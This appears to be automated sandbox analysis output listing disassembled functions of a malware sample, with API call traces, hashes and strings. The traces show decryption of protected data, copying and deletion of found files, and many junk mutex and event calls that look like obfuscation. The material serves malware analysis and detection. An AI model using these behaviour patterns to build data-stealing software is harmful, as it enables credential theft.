Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocFileFindFirstFreelstrlen
String ID: @j@
API String ID: 485655356-1712690799
Opcode ID: 6801d24268a2b1e934454a14409fc82da47365a1c49eee425e314301b0981216
Instruction ID: 924ed7c324f64dd6e18c50f4c466a102755bcaf19dc2eca6997ea0986c1cc9f4
Opcode Fuzzy Hash: 6801d24268a2b1e934454a14409fc82da47365a1c49eee425e314301b0981216
Instruction Fuzzy Hash: FED16F71A0420AEBDB109FA0DC49AEF7BB5EF48304F108175FA06B72D1DB789951CB69

Function 004035B2 Relevance: 72.4, APIs: 48, Instructions: 381memorylibraryloaderCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000400,00000000,?,?), ref: 004035C7
StrCpyW.SHLWAPI(00000000,?), ref: 004035D1

Part of subcall function 004025C2: CryptStringToBinaryW.CRYPT32(00000000,00000000,00000001,00000000,5@,00000000,00000000), ref: 004025E1
Part of subcall function 004025C2: LocalAlloc.KERNEL32(00000040,5@,?,004035EB,?), ref: 004025EF
Part of subcall function 004025C2: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,5@,00000000,00000000), ref: 00402605
Part of subcall function 004025C2: LocalFree.KERNEL32(00000000,?,004035EB,?), ref: 00402613

LocalAlloc.KERNEL32(00000040,?), ref: 004035F4
LocalAlloc.KERNEL32(00000040,00000400), ref: 00403625
LocalFree.KERNEL32(00000000), ref: 00403639
CryptUnprotectData.CRYPT32(00000200,00000000,00000000,00000000,00000000,00000000,?), ref: 00403651
StrCpyW.SHLWAPI(?,004031AE), ref: 00403674
LocalFree.KERNEL32(00000000), ref: 00403685
LocalFree.KERNEL32(00000000), ref: 00403694
LocalFree.KERNEL32(00000000), ref: 004036A3
LocalFree.KERNEL32(00000000), ref: 004036AE
LocalFree.KERNEL32(00000000), ref: 004036B9
GetProcAddress.KERNEL32(004031AE), ref: 004036D1
GetProcAddress.KERNEL32(004031AE), ref: 004036E3
GetProcAddress.KERNEL32(004031AE), ref: 004036F5
GetProcAddress.KERNEL32(004031AE), ref: 00403707
GetProcAddress.KERNEL32(004031AE), ref: 00403719
GetProcAddress.KERNEL32(004031AE), ref: 0040372B
GetProcAddress.KERNEL32(004031AE), ref: 0040373D
GetProcAddress.KERNEL32(004031AE), ref: 0040374F
LocalAlloc.KERNEL32(00000040,00000208), ref: 00403762
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040376D
PathCombineW.SHLWAPI(00000000,?), ref: 00403780
CopyFileW.KERNEL32(00000000,?,00000000), ref: 0040379F
LocalFree.KERNEL32(00000000), ref: 004037CD
LocalFree.KERNEL32(?), ref: 004037D4
LocalFree.KERNEL32(00000000), ref: 00403800
LocalFree.KERNEL32(?), ref: 00403807
LocalAlloc.KERNEL32(00000040,00000040), ref: 00403898
lstrcpy.KERNEL32(00000000,?), ref: 004038A3
LocalAlloc.KERNEL32(00000040,00002000), ref: 004038D0
lstrcmp.KERNEL32(?), ref: 004038ED
LocalAlloc.KERNEL32(00000040,?), ref: 00403900
wsprintfW.USER32 ref: 00403929
lstrlenW.KERNEL32(?), ref: 00403937
LocalFree.KERNEL32(?), ref: 00403961
LocalFree.KERNEL32(00000000), ref: 00403A53
DeleteFileW.KERNEL32(?), ref: 00403A5A
LocalFree.KERNEL32(?), ref: 00403A61

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$AddressProc$Crypt$BinaryFileString$CombineCopyDataDeletePathUnprotectlstrcmplstrcpylstrlenwsprintf
String ID:
API String ID: 3433102309-0
Opcode ID: b590ceab327259a742693bc7b730175e926730458ad81e4cc0aeee5ed90f4afd
Instruction ID: 08867f63d8c6f61fc336b65dfe40b0330e2365d916e6c57cc175470ee062157d
Opcode Fuzzy Hash: b590ceab327259a742693bc7b730175e926730458ad81e4cc0aeee5ed90f4afd
Instruction Fuzzy Hash: 5BE12A71904215EFDB119FA0EC49AEEBFB9FB08712F148075F901B22A0DB795A01DF69

Function 00407A7B Relevance: 72.0, APIs: 38, Strings: 3, Instructions: 295memorystringfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000248,00000000,00000000,?), ref: 00407A96
StrCpyW.SHLWAPI(00000000,00000000), ref: 00407A9E

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

FindFirstFileW.KERNEL32(00000000,?), ref: 00407ABC
LocalAlloc.KERNEL32(00000040,00000208), ref: 00407AF5
PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 00407B09
lstrcmpW.KERNEL32(00000000,00000000), ref: 00407B11
LocalAlloc.KERNEL32(00000040,00800400), ref: 00407B27
LocalAlloc.KERNEL32(00000040,00800400), ref: 00407B32
LocalAlloc.KERNEL32(00000040,00800400), ref: 00407B3D
StrCpyW.SHLWAPI(00000000,004139FC), ref: 00407B4B
StrCpyW.SHLWAPI(00000000,004139FC), ref: 00407B5B
StrCpyW.SHLWAPI(00000000,004139FC), ref: 00407B66
LocalAlloc.KERNEL32(00000040,00000200), ref: 00407B84
LocalAlloc.KERNEL32(00000040,00000800), ref: 00407B93
lstrlenW.KERNEL32 ref: 00407BE6
lstrlenW.KERNEL32(?), ref: 00407BF5

Strings

Zb, xrefs: 00407CCA
., xrefs: 00407AE0
lc, xrefs: 00407C1E

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Alloc$Createlstrlen$EnvironmentVariable$EventFileFindMutexOpenReleaseSemaphore$ChangeCloseCombineFirstFreeMappingNotificationPathlstrcmp
String ID: .$Zb$lc
API String ID: 822428759-1423098741
Opcode ID: dffa280de52bbabbbd21af25f6efa0e4d292f26dac798bb19061e844aca191bd
Instruction ID: 4d4a31b7129b0fc409a45df390c6f53d5461a23fd2af9198b621f19b004176dc
Opcode Fuzzy Hash: dffa280de52bbabbbd21af25f6efa0e4d292f26dac798bb19061e844aca191bd
Instruction Fuzzy Hash: 39B12D71E04219EFDB109FA5DC89AAE7FB9FB48714F10807AF905B7291DB385901CB68

Function 00411583 Relevance: 68.5, APIs: 38, Strings: 1, Instructions: 254memoryfilestringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000020A,00000000,00000000,00000000), ref: 004115A0
StrCpyW.SHLWAPI(00000000,00000000), ref: 004115AA
FindFirstFileW.KERNEL32(00000000,?), ref: 004115CF
LocalAlloc.KERNEL32(00000040,0000020A), ref: 00411631
PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 00411642

Part of subcall function 00411583: LocalFree.KERNEL32(00000000), ref: 00411665

LocalAlloc.KERNEL32(00000040,0000020A), ref: 004116A7
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 004116B8
LocalAlloc.KERNEL32(00000040,0000020A), ref: 004116C6
CopyFileW.KERNEL32(00000000,00000000,00000000), ref: 004116E6
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000004,00000000,00000000), ref: 00411703
GetFileSize.KERNEL32(00000000,00000000), ref: 0041170F
LocalAlloc.KERNEL32(00000040,00000618), ref: 0041171C
StrCpyW.SHLWAPI(00000000), ref: 00411729
LocalAlloc.KERNEL32(00000040,00000618), ref: 0041175B
lstrlenW.KERNEL32(?,00000000), ref: 00411769
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 00411799
LocalAlloc.KERNEL32(00000040,00000144), ref: 004117A9
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,?,00000000,00000000), ref: 004117CC
LocalFree.KERNEL32(00000000), ref: 004117D7
LocalFree.KERNEL32(00410EA1), ref: 004117E1
LocalFree.KERNEL32(00000000), ref: 004117EA
LocalFree.KERNEL32(00000000), ref: 004117F1
LocalFree.KERNEL32(00000000), ref: 004117F8
CloseHandle.KERNEL32(?), ref: 00411802
DeleteFileW.KERNEL32(00000000), ref: 00411809
LocalAlloc.KERNEL32(00000040,0000020A), ref: 0041181B
StrCpyW.SHLWAPI(00000000,00000000), ref: 0041182F
LocalFree.KERNEL32(00000000), ref: 0041185A
LocalFree.KERNEL32(00000000), ref: 00411861
LocalFree.KERNEL32(00000000), ref: 0041186A
LocalFree.KERNEL32(00000000), ref: 00411871
LocalFree.KERNEL32(00000000), ref: 0041187A
LocalFree.KERNEL32(00000000), ref: 00411881
DeleteFileW.KERNEL32(00000000), ref: 00411888
FindNextFileW.KERNEL32(00000000,00000010), ref: 0041189C
LocalFree.KERNEL32(?), ref: 004118AD
FindClose.KERNEL32(00000000), ref: 004118B4

Part of subcall function 00410803: lstrlenW.KERNEL32(00000000,00000000,00000000,?,?,?,00411681), ref: 00410821
Part of subcall function 00410803: LocalAlloc.KERNEL32(00000040,00000000,?,?,00411681), ref: 00410831
Part of subcall function 00410803: StrStrW.SHLWAPI(00000000,00416594,?,?,00411681), ref: 00410840
Part of subcall function 00410803: PathMatchSpecW.SHLWAPI(?,00411681,?,?,00411681), ref: 00410869
Part of subcall function 00410803: LocalFree.KERNEL32(00411681,?,?,00411681), ref: 004108B2

Part of subcall function 00410803: lstrlenW.KERNEL32(00000000,?,?,00411681), ref: 00410880
Part of subcall function 00410803: PathMatchSpecW.SHLWAPI(?,00411681,?,?,00411681), ref: 0041089F

Strings

., xrefs: 004115F0

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$File$Path$Findlstrlen$ByteCharCloseCombineDeleteMatchMultiSpecWide$CopyCreateFirstHandleNextSize
String ID: .
API String ID: 4046261964-248832578
Opcode ID: bd802d069b06e0db3992c0b1c88e700040a14c28a892312212fb65db0575f602
Instruction ID: 961066a15abc5a4c5a0f570cce478900000fea0f47405787f2fefb6eddb705f5
Opcode Fuzzy Hash: bd802d069b06e0db3992c0b1c88e700040a14c28a892312212fb65db0575f602
Instruction Fuzzy Hash: C8914071944309AFDB009FA0DC89AEF7F79EF48315F00C065FA06A72A1DB789941CB68

Function 00404F4A Relevance: 68.5, APIs: 37, Strings: 2, Instructions: 234memorystringCOMMON

Download Yara Rule

APIs

StrStrW.SHLWAPI(?,00000000,?,?), ref: 00404F65
StrStrW.SHLWAPI(-00000008), ref: 00404F7A
StrStrW.SHLWAPI(00000002), ref: 00404F8A
lstrlenW.KERNEL32(?), ref: 00404F94
LocalAlloc.KERNEL32(00000040,00000000), ref: 00404F9F
lstrlenW.KERNEL32(?), ref: 00404FA9
LocalAlloc.KERNEL32(00000040,00000000), ref: 00404FB4
lstrlenW.KERNEL32(?), ref: 00404FBE
LocalAlloc.KERNEL32(00000040,00000000), ref: 00404FC9
StrStrW.SHLWAPI(?), ref: 00405005
StrStrW.SHLWAPI(?), ref: 0040503B
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040506B
PathCombineW.SHLWAPI(00000000,A4@,?), ref: 00405078
LocalAlloc.KERNEL32(00000040,00000208), ref: 00405086

Strings

A4@, xrefs: 00405074
A4@, xrefs: 0040521A, 0040500E, 00405203

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AllocLocal$lstrlen$CombinePath
String ID: A4@$A4@
API String ID: 1241344349-737595832
Opcode ID: d7be9ea273806eaf77900cf71521be34eaaecc481a482d583fbc7b2732844570
Instruction ID: ab23e6b53cbf86cfb81161b45b959db812ba06731a576985faebaf2cb288803d
Opcode Fuzzy Hash: d7be9ea273806eaf77900cf71521be34eaaecc481a482d583fbc7b2732844570
Instruction Fuzzy Hash: BF811871904205AFDB119BB4EC4DAEF7FB9FF48301F008579FA06A22A1DB3859118F68

Function 00404C62 Relevance: 68.5, APIs: 37, Strings: 2, Instructions: 234memorystringCOMMON

Download Yara Rule

APIs

StrStrW.SHLWAPI(?,00000000,?,?), ref: 00404C7D
StrStrW.SHLWAPI(-00000008), ref: 00404C92
StrStrW.SHLWAPI(00000002), ref: 00404CA2
lstrlenW.KERNEL32(?), ref: 00404CAC
LocalAlloc.KERNEL32(00000040,00000000), ref: 00404CB7
lstrlenW.KERNEL32(?), ref: 00404CC1
LocalAlloc.KERNEL32(00000040,00000000), ref: 00404CCC
lstrlenW.KERNEL32(?), ref: 00404CD6
LocalAlloc.KERNEL32(00000040,00000000), ref: 00404CE1
StrStrW.SHLWAPI(?), ref: 00404D1D
StrStrW.SHLWAPI(?), ref: 00404D53
LocalAlloc.KERNEL32(00000040,00000208), ref: 00404D83
PathCombineW.SHLWAPI(00000000,.4@,?), ref: 00404D90
LocalAlloc.KERNEL32(00000040,00000208), ref: 00404D9E

Strings

.4@, xrefs: 00404D8C
.4@, xrefs: 00404F32, 00404D26, 00404F1B

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AllocLocal$lstrlen$CombinePath
String ID: .4@$.4@
API String ID: 1241344349-360931753
Opcode ID: 1036fa83ac8f458deffd0d9d12ba2c272f35a89204560d8017d2dacb68b57d9d
Instruction ID: a7e9f5cf4b35c1479b9b400c0517349a93e6db30e34aea0d3a8979677a9135d0
Opcode Fuzzy Hash: 1036fa83ac8f458deffd0d9d12ba2c272f35a89204560d8017d2dacb68b57d9d
Instruction Fuzzy Hash: 56811C71908205AFDB119FB4DC4DAEF7FB9FF48301F048179FA16A22A1DB3859118B68

Function 0040869C Relevance: 66.7, APIs: 35, Strings: 3, Instructions: 211memoryfilestringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208,?,00000000,00000000), ref: 004086B8
LocalAlloc.KERNEL32(00000040,00000208), ref: 004086C3
LocalAlloc.KERNEL32(00000040,00000208), ref: 004086D2
PathCombineW.SHLWAPI(00000000,?), ref: 004086E3
PathCombineW.SHLWAPI(00000000,?), ref: 004086F3

Part of subcall function 0041046B: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012F3,00000000,00000000,?,0000020A), ref: 00410488
Part of subcall function 0041046B: CloseHandle.KERNEL32(00000000), ref: 0041048F
Part of subcall function 0041046B: SetEnvironmentVariableA.KERNEL32(6dgac4un,g41v9360), ref: 0041049F
Part of subcall function 0041046B: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vszfrk1v), ref: 004104AD
Part of subcall function 0041046B: GetLastError.KERNEL32 ref: 004104B5
Part of subcall function 0041046B: CancelWaitableTimer.KERNEL32(00000000), ref: 004104C0
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000000,000002F7), ref: 004104CC
Part of subcall function 0041046B: RegOpenKeyExA.ADVAPI32(80000001,reg6l0e1w30,00000000,00020019,?), ref: 004104EE
Part of subcall function 0041046B: LocalFree.KERNEL32(00000000), ref: 004104F1
Part of subcall function 0041046B: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_88c4qzrn), ref: 00410500
Part of subcall function 0041046B: SetEvent.KERNEL32(00000000), ref: 00410509
Part of subcall function 0041046B: ResetEvent.KERNEL32(00000000), ref: 00410510
Part of subcall function 0041046B: FindFirstFileA.KERNEL32(s_tdhyddm1,?), ref: 00410522
Part of subcall function 0041046B: FindClose.KERNEL32(00000000), ref: 00410529
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX20fugzrs), ref: 0041053C
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 00410549
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000040,00000208), ref: 0041056B
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX3jgp3d9d), ref: 0041057D
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 0041058A
Part of subcall function 0041046B: OutputDebugStringA.KERNEL32(log: xkhuruup), ref: 00410591
Part of subcall function 0041046B: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0tlu090e), ref: 004105A6
Part of subcall function 0041046B: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004105B0

CopyFileW.KERNEL32(00000000,?,00000000), ref: 00408716
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00408733
GetFileSize.KERNEL32(00000000,00000000), ref: 00408740
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040874B
ReadFile.KERNEL32(00000000,00000000,-00000001,004074D7,00000000), ref: 00408762
lstrlenA.KERNEL32(00000000), ref: 00408777
StrStrA.SHLWAPI(00000000,004138EC), ref: 0040878A
lstrlenA.KERNEL32(004138EC), ref: 0040879C
StrStrA.SHLWAPI(004074D7,00413A00), ref: 004087B0
LocalAlloc.KERNEL32(00000040,00000208), ref: 004087C8

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FD9B
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLaf6ijeup), ref: 0040FDA8
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FDAE
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ezfcnhiz), ref: 0040FDC2
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: 1q5wdw2w), ref: 0040FDC9
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000D5B,?), ref: 0040FDE3
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FDEB
Part of subcall function 0040FC69: LocalFree.KERNELBASE(00000000), ref: 0040FDF2
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(v19r9fkt,32cl1w9n), ref: 0040FE02
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_duo9zfet), ref: 0040FE11
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,regbsc0gy31,00000000,00020019,?), ref: 0040FE2A
Part of subcall function 0040FC69: CancelWaitableTimer.KERNEL32(00000000), ref: 0040FE31
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(5xc4rfm6,1w9a7ezv), ref: 0040FE47
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0c4o0o20), ref: 0040FE54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FE5E
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_5lfr0i9u), ref: 0040FE6D
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FE76
Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FE7D
Part of subcall function 0040FC69: FindFirstFileA.KERNEL32(s_5v4dwb9r,?), ref: 0040FE8B
Part of subcall function 0040FC69: FindClose.KERNEL32(00000000), ref: 0040FE92
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_pmn3yhef), ref: 0040FEA3
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FEAD
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: zqaxjx1i), ref: 0040FEBC
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXg35mzup0), ref: 0040FEC9
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FED5

FindFirstFileW.KERNEL32(00000000,?), ref: 004087ED
StrStrW.SHLWAPI(0000002E,00000000), ref: 0040882B
StrStrW.SHLWAPI(0000002E,00413A04), ref: 00408845
lstrlenW.KERNEL32(?), ref: 00408857
lstrlenW.KERNEL32(?), ref: 00408866
LocalAlloc.KERNEL32(00000040,00000200), ref: 00408879
StrStrW.SHLWAPI(00000000), ref: 00408888
StrCpyW.SHLWAPI(00000000,00000000), ref: 0040889A

Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FEDC
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(uvfb6x9g,iyeph0nr), ref: 0040FEEC
Part of subcall function 0040FC69: GlobalFree.KERNELBASE(0040C0BE), ref: 0040FEF1

LocalAlloc.KERNEL32(00000040,00000208), ref: 004088C0
PathCombineW.SHLWAPI(00000000,?,0000002E), ref: 004088D1
PathCombineW.SHLWAPI(00000000,00000000,idb), ref: 004088DE

Part of subcall function 004077E4: LocalAlloc.KERNEL32(00000040,00000208,00000000,00000000,00000000), ref: 004077FC
Part of subcall function 004077E4: FindFirstFileW.KERNEL32(00000000,?), ref: 00407825
Part of subcall function 004077E4: StrStrW.SHLWAPI(?), ref: 00407855
Part of subcall function 004077E4: LocalAlloc.KERNEL32(00000040,00000208), ref: 0040786B
Part of subcall function 004077E4: PathCombineW.SHLWAPI(00000000,00000000,?), ref: 0040787A
Part of subcall function 004077E4: LocalAlloc.KERNEL32(00000040,00000208), ref: 00407888
Part of subcall function 004077E4: CopyFileW.KERNEL32(00000000,004074D7,00000000), ref: 004078A7
Part of subcall function 004077E4: CreateFileW.KERNEL32(004074D7,80000000,00000001,00000000,00000004,00000000,00000000), ref: 004078C2
Part of subcall function 004077E4: GetFileSize.KERNEL32(00000000,00000000), ref: 004078CD
Part of subcall function 004077E4: LocalAlloc.KERNEL32(00000040,00000208), ref: 004078DA
Part of subcall function 004077E4: StrCpyW.SHLWAPI(00000000), ref: 004078E7

LocalFree.KERNEL32(00000000), ref: 004088F6
FindNextFileW.KERNEL32(00000000,00000010), ref: 0040890A
FindClose.KERNEL32(00000000), ref: 00408919

Part of subcall function 0040F9D2: lstrlenA.KERNEL32(fa72f4c1fbe65cee8651140fd47267ba,75B4EC10,7622E010,76229350), ref: 0040F9E4
Part of subcall function 0040F9D2: LocalAlloc.KERNEL32(00000000,00000D3D), ref: 0040F9F5
Part of subcall function 0040F9D2: LocalFree.KERNEL32(00000000), ref: 0040F9FC
Part of subcall function 0040F9D2: RegOpenKeyExA.KERNEL32(80000001,regiy6zdfg3,00000000,00020019,004091BF), ref: 0040FA1C
Part of subcall function 0040F9D2: FindFirstFileA.KERNEL32(s_3jcfxium,?), ref: 0040FA2A
Part of subcall function 0040F9D2: FindClose.KERNEL32(00000000), ref: 0040FA31
Part of subcall function 0040F9D2: CreateMutexA.KERNEL32(00000000,00000000,MTXua94bg5a), ref: 0040FA3E
Part of subcall function 0040F9D2: OutputDebugStringA.KERNEL32(log: pq4wrltf), ref: 0040FA55
Part of subcall function 0040F9D2: ReleaseMutex.KERNEL32(00000000), ref: 0040FA58
Part of subcall function 0040F9D2: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_vx41shaz), ref: 0040FA69
Part of subcall function 0040F9D2: SetEvent.KERNEL32(00000000), ref: 0040FA72
Part of subcall function 0040F9D2: ResetEvent.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040F9D2: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000114E,00000000), ref: 0040FA8D
Part of subcall function 0040F9D2: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FA94
Part of subcall function 0040F9D2: OutputDebugStringA.KERNEL32(log: g519d0t3), ref: 0040FA9F
